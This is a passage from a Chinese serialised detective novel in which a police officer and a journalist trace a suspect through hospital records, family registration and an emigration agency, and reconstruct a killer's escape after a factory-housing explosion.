“现在来看,说是‘遭遇’可能并不准确,这两个人可能是处在一种博弈状态中,凶手知道杨莲在跟踪自己,故意在医院门口诱导她跟上,杨莲可能也知道凶手知道她在跟踪,故意跟了上去。这两个人心里都有一盘棋,凶手已下了杀心,而当时的杨莲已经做好了必死的决心和准备。 “我刚不是在查魏嘉康的背景情况嘛。魏嘉康的父亲就是市中心医院的医生,而且还是精神科医生。杨莲居然也出现在市中心医院,这让我不得不产生一些联想。我打算迂回一下,先不去找魏嘉康的父亲,而是先去医院查记录,我想看看在魏嘉康父亲那里看病的人中,有没有疑似凶手的人物。” 章弥真思考了一会儿,赞了一声:“厉害,你这思路真是绝了。” 行车到医院门口,秦梓需在路边停车位靠边停稳,尚未下车,章弥真突然问秦梓需:“老秦,那个杨莲画得乱七八糟的地形图,你怎么想?” “没什么头绪。”秦梓需摇头。 “我倒是有个猜想,不知道对不对。”章弥真道。 秦梓需有些意外,章弥真参与调查这么久,给与了秦梓需很多帮助,也给秦梓需提供了一些参考思路,但她的思路偏重于人物关系的猜想,猜想颇带点情绪思维的痕迹,缺乏理性的逻辑推理的严密性。现在章弥真居然对一幅最需要逻辑推理的路线图起了猜想,秦梓需十分好奇她这个情绪流脑子能有什么推想,于是问: “说来听听。” 章弥真摩挲着下巴道:“我觉得那些乱七八糟的线,可能显示的是凶手不同速度的逃跑路线。她可能是用这个来判断凶手当时到底有没有用交通工具。” “嗯?”秦梓需瞪大眼睛,想了一会儿,没想明白其中的逻辑,于是扭头看向章弥真问,“你是怎么得出这个猜想的?” “你不是说凶手在马家早餐铺的后厨里安装了定时引/爆装置嘛。可是,马军不是发现了凶手了吗,他当时还喊了一声站住,随后没多久,就爆炸了。而且当时陈老师最靠近爆炸点,她有可能就是去拆除那个装置的。就这样都没来得及,说明定时引/爆装置压根就没定多久啊。我就想凶手怎么能把定时多少分钟掐得如此精准呢?又怎么能预见到自己是否会被发现呢? “所以我感觉那不是定时引/爆装置,是遥控引/爆装置吧。凶手逃遁后,第一时间就引爆了。而他需要用最快的速度逃跑,他的逃遁路线一定不会是螺丝拐弯巷方向,因为那里已经火光冲天,根本走不了人,所以他从马家后门出来后,一定是从346厂的其他门逃走的。 “杨莲可能是在计算他到底能跑多快,才能在不引人注意的情况下逃出去。毕竟,爆炸发生后第一时间,军区和346厂全都被惊动了,大量的人赶往现场,虽说现场一片混乱,可凶手还是有会被堵住去路的风险。” 秦梓需一时间没有说话,章弥真有些忐忑,道:“我就是瞎猜的,要是不合理,你别太当回事。” “不,你这真是天才般的猜想。”秦梓需赞叹道,“你怎么想到的?” “就学你啊,代入一下杨莲,假如我是杨莲,我会怎么查。”章弥真摸了摸鼻子,得到秦梓需的夸赞,她内心很嘚瑟,“我有个经验,你可能没有经历过。当年陈老师单独给我补课,她还帮我补过物理题,当时她就是用不同的颜色来代表不同的速度。而且她习惯性的把代表时间的符号‘’’写成小数点‘.’,用数学的表达方式来表达物理概念。 “我觉着陈老师既然是杨莲的小老师,两人关系非常好,我感觉杨莲也会受到这种做题用不同颜色的笔的影响,形成相同的习惯。” 原来如此,陈老师给章弥真单独补过课,这就是偏科学生的优势吗?秦梓需一时间感到哭笑不得。她又有些自责,陈老师也给她补过课,可她居然没有注意到这个细节。可能是因为自从进入中学后,成绩就一直名列前茅,陈老师也没有单独给她开过小灶了。 章弥真在某些方面的细腻观察和超强记忆,确实是她的独特优势。 “好,咱们回去就按照你的想法来研究一下。” 两人下车,往医院内行去。接下来就是枯燥的调查过程,她们亮明身份,找到医院档案库,调出2002年的病例进行筛查。 本以为会是大海捞针,没想到查了没几分钟,她们就找到了邵彦华的名字。 “我去?真是他!”章弥真喊出声来。 “主治医生魏红明,就是魏嘉康的父亲。病因……阿斯伯格综合征?”秦梓需蹙眉念道。 “啊?邵彦华是阿斯伯格啊。”章弥真惊了。 秦梓需把邵彦华前前后后所有的病历记录调出来看,大概是从2001年的9月开始,邵彦华在中心医院精神科看病,找的医生就是魏红明。经过四次介入治疗,邵彦华的情况得到明显好转,从2002年5月最后一次问诊后结束治疗。 “这个时间……与陈老师给杨莲的信里提到的那个男生开始有不正常行为的时间完全吻合。”章弥真搓了搓自己的胳膊,汗毛竖起。 秦梓需拍了一下电脑桌,道:“看来我们找到正主了,必须把这个邵彦华揪出来!” “可这很奇怪啊,邵彦华都出国了,他到底怎么回国犯案?连魏嘉康都没有帮凶的可能性。”章弥真感到很头疼。 “只有一个可能性,那就是他借着出国的名义,销户、改换身份,甚至改换了面貌,以一个全新的身份活在国内。”秦梓需道。 “我去,真有人能做到这种事吗?”章弥真感到不可思议。 秦梓需推测道:“在那个年代确实有可能。邵彦华出国的时间点是2005年,那个年代,公安系统还不健全,尤其是很多地区纸张证明件都还没电子化,很容易被篡改。再加上邵彦华孤僻、少有朋友,且家庭成员简单,与人没有太多瓜葛,再加上他有钱、有黑市门路,就有可能做到。这些特质,想来凶手全都具备。” “你快查查他家都有哪些人,这些应该不是销户就没有了的。”章弥真道。 秦梓需立刻用警务通上公安系统,查邵彦华的户口,跟他有亲属关系的人很简单,一个是他的父亲,名字叫邵长生,1960年生人,职业是眼科医生。 “又是个医生?!”章弥真惊了,之前排查时竟然没查出来。 “不,你看这个邵长生的社保记录,他1990年的时候医院社保就终止了,我猜他应该是辞职下海了。他当医生的年代太久远了,你查不出来也正常。” 说着秦梓需又查了一下企业注册法人信息,发现邵长生就是在1990年开了一家医疗器械公司,主营眼科相关的医疗器械。 “好家伙,从医生变老板了,这人不简单,这种医疗器械批准可太难拿了。”章弥真道。 “得查一下这家公司有没有进过乙/醚类型的货。”秦梓需念叨着。 户口上的第二个人与邵长生是夫妻关系,名叫梅凝隽,1979年生人,登记的工作单位就是邵长生的那家医疗器械公司,叫做“长生强视”。 “1979年?这比邵长生小了19岁啊!”章弥真心里一阵不舒服。 “老夫少妻,梅凝隽应该是第二任妻子。你看过往户籍历史记录,有一个女人叫赵明莉,1967年生人,应该是邵长生的第一任妻子,也是卲彦华的亲生母亲。不过这个女人1995年的时候和邵长生离婚了。那年邵彦华7岁。” “那岂不是小妈比邵彦华只大了8岁?”章弥真代入了一下感到无所适从。 “邵长生和梅凝隽结婚是在2002年9月。两人是在2003年有了一个女儿,叫邵紫涵。然后2005年,邵长生突然变卖了家里的所有产业,销户,举家移民美国。” 章弥真打了个响指道:“我直觉这一家人有问题!” 第59章 第五十九章 邵彦华作为重大嫌疑人浮出水面,秦梓需决定着手开始做一个逼死的局。一旦着手调查与邵彦华相关的关系网,就必须从速从密,需要等海关、边检,包括各级路网全都做好了配合的准备,拉开天罗地网,才能开始。 这事秦梓需一个人做不了,当前是刘明城、谢云卿两位领导在协调八方,什么时候可以开始正式进行针对邵彦华的关系网调查,还得听上头的调遣。 从公安这里掌握的关于邵彦华的情报来看,魏嘉康和他的父亲魏红明确实是邵彦华的重大关系人,且魏家父子至今仍在国内生活,魏嘉康所在的工作单位华新高科,与公安系统承包商之间还存在一定的供应与合作关系。 因而,华新高科被列为重点关注对象,警方已经在第一时间对华新高科进行布控,同时派了专人盯梢魏氏父子。 秦梓需和章弥真则埋头在安全屋里研究那副杨莲手绘的杂乱地形图。 按照章弥真的推想,地形图上不同颜色的线代表着凶手逃遁的不同速度。秦梓需首先看这些线的走向,确实都是朝着爆炸点相反的方向,也就是346厂内部的方向去的。彼时最靠近爆炸点的西门已经无法通行了。凶手不可能往西门跑,不仅是因为大火阻拦通行,更因为厂子西门外正对着军区小东门,那里可是有彻夜配枪站岗的战士的。 红色似乎代表着最快的速度,因为红笔写着3.32,也就是三分三十二秒。按照等比例缩放的346厂平面图计算,杨莲计算的应该是从爆炸点到最近的北门出口的距离,这个速度应该至少是自行车的速度,因为爆炸点距离北门大概1.1公里。 如果按照1.1公里的距离来计算,后续的5.29,也就是五分二十九秒,可能是估算出的凶手快跑去北门的时间。这个速度用的是蓝线来表达。 而8.56,也就是八分五十六秒,可能是快走的速度走完1.1公里的用时。这个速度用的是铅笔来表达。 从爆炸点到北门之间,有一大排的居民住宅,道路并非是完全笔直的,必须避让开建筑物。杨莲应该是实地调查过厂里住宅区的状况,那些红、蓝、铅笔线在这些住宅楼栋之间绕来绕去,看上去像是在躲避别人的注意。 但最终,秦梓需发现有一个无法规避的事实,那就是不论凶手到底从北、南、东哪个门走,都很难完全不被人注意到。哪怕是以最快的3.32的速度骑着自行车冲刺离开,也一定会被门卫注意到。 因为一旦爆炸,那传出的动静可比凶手逃跑要快多了。这个时候有一个人突然与人群朝着相反的方向跑,把那么强烈的爆炸当做无事发生,完全不去注意,是很奇怪的事。即便当时不被人注意到,事后也有可能会有人觉得不对劲。 所以凶手有可能是离去后才引爆的吗?也不可能,因为3分半的时间足够让陈君梅做出拆除□□、开窗通风的完整反应了。他一定是在惊动了马军和陈君梅后,在逃跑中慌乱引爆了煤气,这个过程估算不超过10秒。 也就是说,引爆时,凶手很可能一直身处346厂之内,并未完全逃走。且他很可能是步行的,他的交通工具停放在厂外,如此才不会显得显眼。 在爆燃发生后,他混在慌乱的人群中,等到所有人、尤其是门卫也离开了岗位,门口看守空虚时,他才有可能离去。 可这里又引出了另外一个问题,346厂是一个熟人小社会,内里的职工彼此都很熟悉,谁家的孩子长什么样也都一清二楚,如果凶手不是厂里人,那很可能也会被认出来。凶手有可能冒着这个风险,混在人群里吗? 这个问题的答案模棱两可,也许会,也许不会。凶手那会儿是初次犯案,思虑不周也是很可能的。而且被发现是个意外事件,他很可能都没有把出意外的情况考虑在内。 但凶手毕竟是个心思缜密、智商极高的人,他也有可能考虑到这一点,但他并不害怕。有两种可能性,一是他做了一定程度的伪装,让混乱中的人很难分辨出他外来者的身份,二是他本就是346厂内部的人,三是他找到了某个隐蔽的地方躲了起来。 秦梓需、章弥真讨论过后,认为第二个猜想可以排除,因为当前的嫌疑人邵彦华并不是346厂的人,再根据陈君梅写给杨莲的信件之中提到的这个男生对他的跟踪行为,信中提及老马还曾经撞见过这个男生。老马日常的活动半径不会超过早点铺和菜市场之间3公里的范围,且他与厂子里所有人都很熟稔。 若这个男生真是厂子里的孩子,陈老师怎么会用“撞见”这么个词汇?罕然遇见才可称之为“撞见”。 而关于伪装,当时夏季,在大半夜里突然爆炸,人们慌乱起身出来看情况,能是什么着装?男的要么穿个背心裤衩,要么干脆打赤膊,女的就不提了。凶手是很难去做伪装的,总不能大家都穿得很清凉,他却捂得严严实实吧,这不更显眼了吗? 所以第一个猜想也被排除。 综合推理下来,凶手当时可能是找到某个可以躲藏的地方,等到人群全都集聚到爆燃现场附近,门口门卫都不在了,他才趁机离去。 由于346厂早已拆迁,秦梓需、章弥真已经无从寻找当年凶手可能会躲在哪里。但秦梓需毕竟是曾经的附近居民,346厂内部她也没少进去。凭着记忆,她做出了自己的推测: “爆燃点附近都是居住区,真正的厂区隔着老远,他不可能飞过去躲藏,肯定是就近躲藏。但厂子里真的没什么地方可以躲的,住宅楼外都是大马路,路边行道树都很矮,树冠藏不了人。当年厂子里的宿舍都是筒子楼,根本没有躲藏的地方,除非有人能够藏匿他,否则他没地方可藏。” 章弥真道:“那有可能有人藏匿他吗?” 秦梓需摇头,道:“暂时不清楚,得查关系网才知道。” 章弥真道:“公安系统能查到梅凝隽的情况吗?” 秦梓需似是有些吃惊地吸了口气,望着她道:“你怀疑是她藏匿了邵彦华?确实,梅凝隽是9月和卲长生结婚的。她只有初中学历,但是查不到后续的上学和工作的经历,似乎一直是个无业游民的状态,直到她和邵长生结婚,并进入邵长生的企业工作。她的履历有明显的断档,确实比较可疑。” “没有出生地点的记载吗?” “有,但梅凝隽不是胥城人,她是外地出生的,从小学到初中,她都是在外地读书。初中后履历无记录,不知道何时来到了胥城。”秦梓需扒拉着梅凝隽的资料说道。 “真是奇怪,梅凝隽还在老家读书上学时,邵长生的企业都已经办得如火如荼了。两个社会地位差距如此之大的人,怎么最后走到一起的?”章弥真还是觉得不可接受。 秦梓需思索道:“假如说你的推测是对的,是梅凝隽当时藏匿了邵彦华。那就意味着,梅凝隽当时可能就住在那排门面房之中的某一间。因为厂房宿舍不对外出租,只有职工家庭居住。门面房会出租给外地人做生意,这些外地人和厂内一些人多少有些沾亲带故的。” “我去?你当时不就住在那里,你有印象吗?”章弥真瞪大眼睛凑近她。 “我没印象,我只是和马家早餐铺附近的两三家店比较熟悉,但不是每一家店面的每一个人我都认识。我印象中,有两家炒菜的小饭馆,时常会外聘服务员,人员变动比较频繁,小饭馆会给找不到落脚点的员工提供二层阁楼的床铺,因此确实有一些我不认识的外地人居住在门面房里。”秦梓需道。 “看来查关系网时,这个梅凝隽是个相当关键的人物了,得重点关照啊。”章弥真揉了揉自己的眉心,有些疲倦道,“唉呀妈呀,我都要缺氧了,真是用脑过度了。” “好,咱歇会儿。”秦梓需开始收拾摊在桌上的一大堆资料。 章弥真摁着肚子道:“消耗太大了,我饿了。” 秦梓需一看时间,已经傍晚6:30了,她突然意识到她俩今天研究了一整天竟然连午饭都没吃。 她道:“该吃晚饭了,换衣服吧,咱俩马上出去吃点东西。” 章弥真立刻行动,以前她虽然工作忙,好歹一天三顿饭还能按时吃上,可现在跟了秦梓需做事,一天饿一顿是常事,忙得天昏地暗,时常加班到深夜,睡眠不规律、吃饭也跟着不规律了,有时为了补眠会直接不吃饭。 章弥真感觉参与办案这大半个月来,她好像都瘦了。 在去她们常去的那家中式快餐店的路上,章弥真抱怨道:“他家的菜每天翻来覆去就那几样,我都快吃腻了。我说老秦,你不是会做饭吗?我强烈要求你负责我的伙食。” “啊?你要我买菜做饭给你吃啊?”秦梓需感到不可思议,“你不怕死那我就给你做。” “啥?难道你会炸厨房吗?”章弥真奇道。 “那倒不会,就是我可能会控制不住往里面加点不明物质啥的。”秦梓需谑笑道。 “好啊,秦警官,你作为一个人民公安居然能说出这种话来,我要报警了!”章弥真义愤填膺地掏出了手机,假装要拨打110。 “喂,我每天忙得什么狗样子你看不到啊,还买菜做饭呢,能有口吃的不错了,别挑了。”秦梓需没好气地道。 “唉……你这么说,我就好想我妈。”章弥真突然忧愁起来,“以前我工作忙时,她时常会做点饭菜给我送来呢,还有她煲的汤,特别好喝。还是妈妈好啊。” 秦梓需满脸无奈,她知道调查辛苦,自己拉章弥真下水,让她吃了不少苦头,是自己对不起人家,于是只好不言语了。 “抓紧查吧,等查完,你就能去看你妈了。到时候放个长假,好好陪陪妈妈。”秦梓需道。说这话时,她也不免想到了自己的父母,心中的怨气其实还有残余,但更多的是酸楚。她也会想父母,也知道自己其实把他们给气坏了,做了很多不大孝顺的事。 这些天办案,尤其是在云南办案期间,接触到家庭成员内部一地鸡毛、最后被害到家破人亡的李家,接触到不愿离家在外漂泊的沙马俄木,接触到老周和他床前尽孝的儿子,还有杨莲、陈君梅各自的家庭故事,秦梓需其实受到了不少触动。有时候夜里睡不着,也会想自己的父母。 终究是为人儿女,父母的养育之情刻入骨髓,她怎么可能轻易割舍。 吃饭时,秦梓需终究还是“破戒”了,她给母亲发了个微信:我一切安好,正在侦办涉密案件,无法联络你们。你们注意身体,等办案结束,我来看你们。 放下手机,她看到坐在自己对面的章弥真正咬着筷子,瞪着一双晶亮的大眼睛盯着她笑。秦梓需一脸莫名: “干啥?” “咱俩一会儿去超市买两桶冰淇淋吧。”章弥真突然道。 “啊?你不是一直健身节食吗?”秦梓需更奇怪了。 “冰淇淋不一样啊,你看这个牌子,现在都在促销呢,我可喜欢吃这个牌子了。”章弥真把手机亮给秦梓需看,上面是某冰淇淋品牌的广告长图。 “行吧,你少吃点,冰淇淋对胃不好,我看你老是吃胃药。”秦梓需道。ENTJ心血来潮发作了吧,她心想。 “知道知道,秦妈妈。”章弥真敷衍地挥挥手。 秦梓需:“……” 第60章 第六十章 等了一天,布控拉网全部结束,市局再次召开侦查会议,讲明调查要点。 针对公安系统供应商和运维公司的调查已经基本结束,凶手在云南活动的那段时间,这些员工之中并没有出差前往云南的人,但这类公司的人员免不了要出差,那段时间在外跑业务的人算下来也有二十来号人。 警方对这二十来号人的详细行程进行了筛查,确认他们之中并无任何人中途去过云南,距离最近的一位,也只是去了贵州,因为系统服务器在贵阳和安顺之间的贵安新区。 但是贵安新区距离云南昭通药山镇还有500多公里的路程,开车起码也要7个小时才能抵达。不论这个人采取怎样的交通方式,他都一定会留下痕迹,不可能凭空瞬移过去。 然而这位去贵安新区出差的员工,行程明明白白,不过1天的出差时间,基本都有目击证人可以证明他的行动路线,嫌疑被排除了。 就连这位距离最近的出差员工都被排除了,其余人更是如此。此外,针对目前仍然在外出差的所有员工,警方也做了详细的调查,也都排除了嫌疑。 “所以,我们暂时得出的结论是,前往云南犯案的嫌疑人,并不是公安系统供应商和运维公司的在册员工。由于公安系统的特殊性,我们决不允许外包服务,所以这个嫌疑人调查的方向,就要转向了。”刘明城最后总结道。 秦梓需突然举手,刘明城请她说话,只听她道:“近期离职员工你们查了吗?” “查了,也没什么疑点。我们拿到了一份离职员工名单,一共5个人,我们大概查了一下他们的出行记录。1人目前在西藏旅行,其余4人已入职新公司,这4个人没有离开胥城的出行记录。”刘明城把调查PPT调到那5个人的名单,展示给所有人看。 西藏旅行?章弥真看到了一个熟悉的名字——魏嘉康,她瞪大了眼睛。 “魏嘉康在西藏旅行?”显然秦梓需也看到了,立刻出声询问。 “对,他原本就职的华新高科是公安系统的供应商,最初参与过架构。他是6月初提交辞职申请的,一个月交割后,7月初去了西藏自驾游。我们查了,是7月1日乘坐飞机抵达成都,从成都租的车子,走318国道入藏。车子一路的导航追踪路线都很清晰。我们已经从西藏那里得到情报,明确他是带着全家出游的,他老婆和他小孩一家三口,现在车子在波密,案发时他的车子在泸定过收费站被拍到了,照片里能看到他车内的情况,他清清楚楚出现在驾驶位上,他没有作案可能。”刘明城道。 秦梓需眉头拧得紧紧的,那种感觉又来了。明明已经摸到拼图了,可怎么摆都拼不上去,到底是哪里出错了?而且这个魏嘉康,再一次出现在警方视野里的状况和当年几乎一模一样,他在抛颅案里也是因为不在场证明而被排除了。 不,凶手一定是做了什么障眼法,把他们全都蒙蔽过去了。 “那有没有查休假的员工?先不管交通记录,单纯是休假的,起码有2天时间没有出现在同事的视野范围内的人。”秦梓需不死心再追问。 刘明城无奈道:“这个……倒没有查到这个份上,因为供应商公司在东海市,运维分公司在胥城,不论是哪一个,到云南去都必须要乘坐交通工具,不论是哪一种都必然留下痕迹。” “凶手有可能蒙混过当前的交通系统的身份识别,所以先不管交通记录,就查查看前段时间有没有休假的人。”秦梓需道。 “好。”刘明城听从了她的意见。 接下来,谢云卿讲了一下排查的注意要点,针对邵彦华的侦查,从三个方面入手:一是从魏嘉康入手查当年初中时邵彦华的人际关系状况,二是查邵彦华曾就读的高中——师范附中和移民中介,三是从其父邵长生查起,查明白这家人的家庭状况。三个方向分别由三个侦查组负责,同步推进,随时共享情报。 “国家移民局是2018年成立的,在那之前,所有移民都是公安部出入境管理局负责。我们已经从公安部数据库中查到了这一家人的出境备案。邵彦华当时并没有拿到美国大学的录取通知书,他是跟着其父投资移民去的美国。 “2005年时,中国公民移民出境,需要提供申请人及随行家庭成员的身份证原件及复印件、户口本原件及全本复印件、填写完整的《中国公民因私出国(境)申请表》、护照原件及个人信息页复印件、无犯罪记录证明、单位/学校开具的在职人员单位同意出境证明,学校在读证明。如果要放弃国籍,则需要销户。 “由于当时对移民的管理不完备,这些材料提供的信息,并不能让我们知道这一家人到底去了哪儿,因此,现在我们只能花费大功夫去找。 “目前,凶手画像已经录入了所有交通路网的识别系统,一旦有样貌相似的人都会被拦截排查。但你们也不能因此掉以轻心,这一次侦查,就是拉网了,你们都是赶鱼的。动作一定要又快又准,尽快拿出结果来!要是漏了大洞,让鱼跑了,这个责任谁也担不起。 “逃了十八年的罪犯,犯了多少命案?无比狡猾、无比残忍、无比嚣张!再让他逍遥下去,让家属的泪全白流了,让法治的尊严荡然无存,让我们胥城公安走到哪儿都让人看不起!都给我打起精神来,好好干活!” 谢云卿的神情非常严肃,语气异常严厉,但她略显高亢的嗓音却像是给全体侦查员打了一针强心剂,所有人异口同声地应和道: “是!” 散会后,秦梓需和章弥真直接上车出发,跟着她们上车的还有宋辙和刘雪莹,这两位是她们的技术辅助。她们四个分到一个侦查组,负责侦查邵彦华曾就读的高中师范附中,从这条线来查邵彦华的去向。 秦梓需开车时,章弥真感觉她带着一股怒气,车速飙得有点让人心跳加速。宋辙、刘雪莹都有些不大敢说话,直至秦梓需终于安稳把车开到了师范附中门口,他们才松了口气。 秦梓需把车开进了学校,停在了学校的停车场里。下车时,章弥真问宋辙: “小宋,怎么这回耿剑秋没跟我们分到一组啊?”她之所以会这么问,是因为她看到开会时,宋辙和耿剑秋坐在一块,两人关系处得不错,聊得来。 “哦,耿队主动申请去查邵长生去了。”小宋道。 “啊?为什么?”章弥真疑惑。 “说来也巧,邵长生开的那家公司——长生强视,是耿队他妈妈的老东家。他妈是会计,他说他十来岁上学时,寒暑假家里没人管他,他妈妈会带他到厂子里,一边上班,一边监督他写作业,管一天三顿饭。他对那个厂子很熟悉,用他的话说,长生强视在90年代那是明星民企,效益贼好,员工福利也好,他妈妈那会儿的收入让很多下岗员工羡慕不已。这是勾起回忆了,所以想要主动去查。” “哦……”章弥真点了点头。 秦梓需笑了:“你不是看他不顺眼吗?怎么现在倒是关心起他的去向了?” “哼,我这是关心他吗?我这是监督他,谢支怎么说的?非常时期千万不能掉链子,我觉得他就是最容易掉链子的那一环。他不跟我们一组,那我真是巴不得呢。”章弥真乜着秦梓需道。 “是是是,劳您大记者费心了。”秦梓需回道,神情略显欠揍。 章弥真气得过来勾住她肩膀,想要使出一记勾颈下压:“你这个家伙嘴里有毒吧,小心我晚上偷袭你,往你嘴里塞大蒜消消毒!” 秦梓需本来就比她高,再加上身上有柔道摔跤的功夫在,哪里是章弥真能轻易掰得动的。她用力两下,她不仅没掰动,反倒是自己失了平衡,差点摔倒,挂在了秦梓需身上。 秦梓需失笑,倒是主动让步,扶住她,微微弯腰让章弥真双脚站稳。章弥真闹了个大红脸,搡了她一把,自顾自往学校里去了。 刘雪莹笑着凑上来,道:“秦老师,认识你这么久,没想到你还有这么孩子气的一面啊。” “啥呀,这不是她要跟我闹的嘛。”秦梓需摊手道。 “我就觉得很奇怪,你跟真真姐真的是很好的搭档啊,怎么你们学生时关系不好呢?”刘雪莹问。 秦梓需道:“那会儿不是一个班的,而且我俩算是竞争关系。我年级第一,她第二。” “哦~我懂了,原来是欢喜冤家模式。”刘雪莹恍然大悟。 “怎么就欢喜冤家了……”秦梓需苦笑。 “你现在惹大记者生气了,你得负责哄好她。”刘雪莹笑着拍了拍秦梓需的肩膀。 秦梓需心想,不就调侃了两句嘛,以章弥真的气量,不至于真生气了吧,又不是小孩子。 她的想法似倒是没错,在此后的调查过程中,章弥真的表现一直都很平静,丝毫看不出生气的样子。秦梓需也就安心了。 学籍档案什么的,不用来学校查,秦梓需等人就是来询问知情者的。问了一大圈,最终找到了当年邵彦华的班主任。 班主任是语文老师,年纪不算大,邵彦华那一届学生是他带的第一届高三生,因此他印象比较深刻。虽说如此,也是十五年前的事了,他很努力地回忆道: “那个男生我有印象,不爱说话,挺阴沉的,家里很有钱,但他自个儿不显山不露水的,不像那个年纪的男生都很爱显摆。成绩一直算是中上游吧,从来也不惹事,在班里感觉很不起眼。但就是这么个不起眼的人,突然到了高三下学期就要出国了,我记得那会儿是他爸爸过来找我谈的,说是他们全家都要移民去美国了,而且是毕业前就要走,问我能不能提前拿毕业证书。” “那您知不知道他们找了哪家移民中介?”秦梓需追问。 “我记得他好像提到了一个什么海洋的名字,大西洋?太平洋?我记不清了。我们高中老师也不直接和移民中介接触,我也不大清楚。”班主任为难道。 此后再继续追问,这位班主任知道的也不多了。 章弥真道:“有可能是太平洋移民中介。” 秦梓需闻言,连忙让小宋登上工商系统查了一下。确确实实就有一家太平洋移民中介,但没有叫“大西洋”的。这家中介已经开了有十多年了,在胥城也是一家大企业。 一行人便立刻前往太平洋移民中介所在的位置,坐上车,章弥真道: “我当年去留学,走的是飞洋留学教育,这家留学中介好像也是太平洋中介旗下的子公司。” “是吗?这家公司应该是正规的吧。”秦梓需问。 “那当然是正规的,这十多年来不知道送了多少人出去呢,也没听说过谁被坑了。”章弥真道。 “这话我怎么听得这么不对劲呢。”刘雪莹有些不爽地挠了挠脸颊。 “时代特色,没办法。”章弥真道,“其实我小时候从来没想过要出国,我对国外的兴趣也不大。只是因为父母希望我出去,我觉得这样我父母会为我骄傲,我才为此努力的。但出去了,才知道完全不是那么回事。 “不过我还是会感谢自己出去走过一趟,亲眼见识过外面的世界。只有这样,心里的那杆秤才算是集齐了公平的砝码。” 刘雪莹好奇问:“那真真姐,你在美国读的哪个大学?” “芝加哥大学,我读的是国际政治,辅修了法语。所以后来被派去了叙利亚,在当地还跟着学了阿拉伯语。现在做国际政治新闻是我的专业。”章弥真笑道。 “厉害了!那你回来怎么会进央媒做新闻的?”刘雪莹很好奇。 “机缘巧合,有个学姐先去了央媒,我当时刚毕业,正在四处求职,她劝我回来试试,我就回来面试了,然后就录用了。我想着有这么好的机会,那我何苦留在美国,我就回国了。”章弥真解释道。 正聊到这里,章弥真的手机突然响了,她忙接起电话: “喂?怎么了?你别慌,慢慢说……嗯,冷静点,我来想办法。别哭了,哭解决不了问题,我尽快赶回来。” “怎么了?”章弥真一挂电话,秦梓需就问道。 “我们工作室出了点事,我想回去一趟,可以吗?”章弥真似是恳求一般望着秦梓需。 “我送你过去,正好顺路。”说着秦梓需一打方向盘,往数媒中心的方向拐去。 哪里顺路啊,这差了十多公里呢……刘雪莹和宋辙内心默默念了一句,但谁也没说话。 章弥真咬唇,神色凝重地盯着挡风玻璃前方,全身都陷入了低气压。【你现在阅读的是 】 60-70 第61章 第六十一章 出什么事了,章弥真似乎不打算解释,秦梓需、刘雪莹和宋辙都带着一肚子疑问。 待到车子停到数媒中心楼下,章弥真道一句:“你们赶紧办案去吧,我自己的事不能麻烦到你们。等我这边处理好了,我会主动联系你们的。” 说完,她就下车,快跑着消失在了大楼门口。 “到底出了啥事啊?好像很严重的样子。”宋辙迷惑地问。 “秦老师,我们就这么不管了吗?”刘雪莹问秦梓需。 秦梓需想了想,道:“办案要紧,现在是拉网的关键阶段,掉链子可不能从我们这里掉。我们先去把我们该查的查明白了,相信弥真能处理好。” 说完,她最后看了一眼数媒中心大楼,便驾车赶赴太平洋移民中介。 车子快开到目的地门口时,小宋突然道: “我好像知道章记者到底出什么事了。” “什么?”刘雪莹立刻好奇问。 宋辙解释道:“咱们最近真是忙昏头了,而且因为信息管制,完全没注意到最近的新闻啊。网上好大的舆情,有内参消息泄露,说是东海省要搞教育改革,要做教育分级,高考要搞省内分档分卷,还要把一些教培机构整合成新的高中,扩大民办高中规模。这消息直接炸锅了,网上全是骂的。” “这也太离谱了,假消息吧。”刘雪莹道。 “对,政府出来辟谣了,是假消息。然后老百姓都说这是东海日报这个官媒传出来的内参消息,都不相信是假消息。现在东海日报被推到风口浪尖上了,昨晚上主编还出来陈清,说消息不是东海日报放出的,东海日报是被陷害了,要等公安调查清楚。然后就再次被骂的狗血淋头,说他连辟谣都不会,谎话连篇。”宋辙道。 刘雪莹奇怪问道:“陷害?怎么个陷害法?他们内部有内鬼搞事情吗?” “不晓得,我也是刚刚查到的这些新闻。”宋辙摇头。 “所以……这个事儿难不成是真真姐组里的成员出的纰漏?天哪!”刘雪莹感到震惊。 “我们快点查案,专心做好我们自己的事。”秦梓需拉开车门,率先下车了。 两人匆匆忙忙跟上她,刘雪莹觉得秦梓需冷静得可怕,她似乎有着极强的控制情绪的能力。 太平洋移民中介位于市中心CBD,高档写字楼内金碧辉煌,楼宇内往来皆是衣着光鲜亮丽的人群。她们在前台出示证件,说明来意,很快太平洋中介的负责人便出来接待她们。 负责人说他们所有的客户都有合约留档,带他们在公司的数据库内检索了一会儿,很快就查到了邵彦华一家人的数据。 “他们家做的是投资移民,资金很充实的,而且当时这家的男主人在美国已经有了房产和合伙人,所以办理移民手续很顺利。”负责人看着合约资料,对秦梓需等人解释道。 “那你们这里有对方在美国的地址吗?或者他合伙人的信息。” “有的,我这边抄给你们。”负责人非常配合,她将这边掌握的所有关于邵彦华一家的信息资料全部打包发给了小宋。 秦梓需为以防万一,又手抄了一份。邵家购买的住宅地址是:2000NClarkSt,Chicago,IL60614.合伙人是个美籍华人,名叫葛明桂。这位葛明桂的公司名叫OcuDynamicsLLC,也是一家眼科医疗器材公司。公司注册地在541NFairbanksCt,Chicago,IL60611.这个地址紧邻西北大学纪念医院和芝加哥大学医学院。 “芝加哥……这么巧,真真姐也是在芝加哥留学的。”刘雪莹道。 从太平洋留学中介出来,小宋道: “到中介这一步为止,还是一切正常,手续齐全,看不出任何问题。而且要搞齐这些资料,可得耗费很长时间,看上去不像是因为犯了事而临时要移民逃难的,更像是本来就要移民。” 秦梓需道:“小宋、小刘,你们俩带着资料赶紧打车回去,交给负责对接美国的同事,让他们联系美警调查。我先去章弥真那里看看情况。” “好,秦老师你快去吧,记得打电话跟我们讲讲怎么样了。”刘雪莹道。 秦梓需应了一声,就上车,立刻调转车头往回赶。 在车上,她一边开车,一边拿出内部手机,点了章弥真的快拨键3,打电话给她。 响了好一阵,没接,秦梓需的心沉了下去。 章弥真现在遭遇的这件事,最关键的不在于引发的舆情,而在于泄露内参消息。现在的新闻媒体处理舆情有一整套流程,遇到事情不至于连主编都慌成这样。秦梓需推测,这件事可能有纪监委介入了。所谓的“被陷害”,空穴来风,未必无因。 之前章弥真为了帮秦梓需排查当年的同年级同学,动用了一些非常手段。她让手底下的组员们用教育局的名义,给那些同年级同学打电话,以调查问卷的方式询问对方上过什么教培机构。 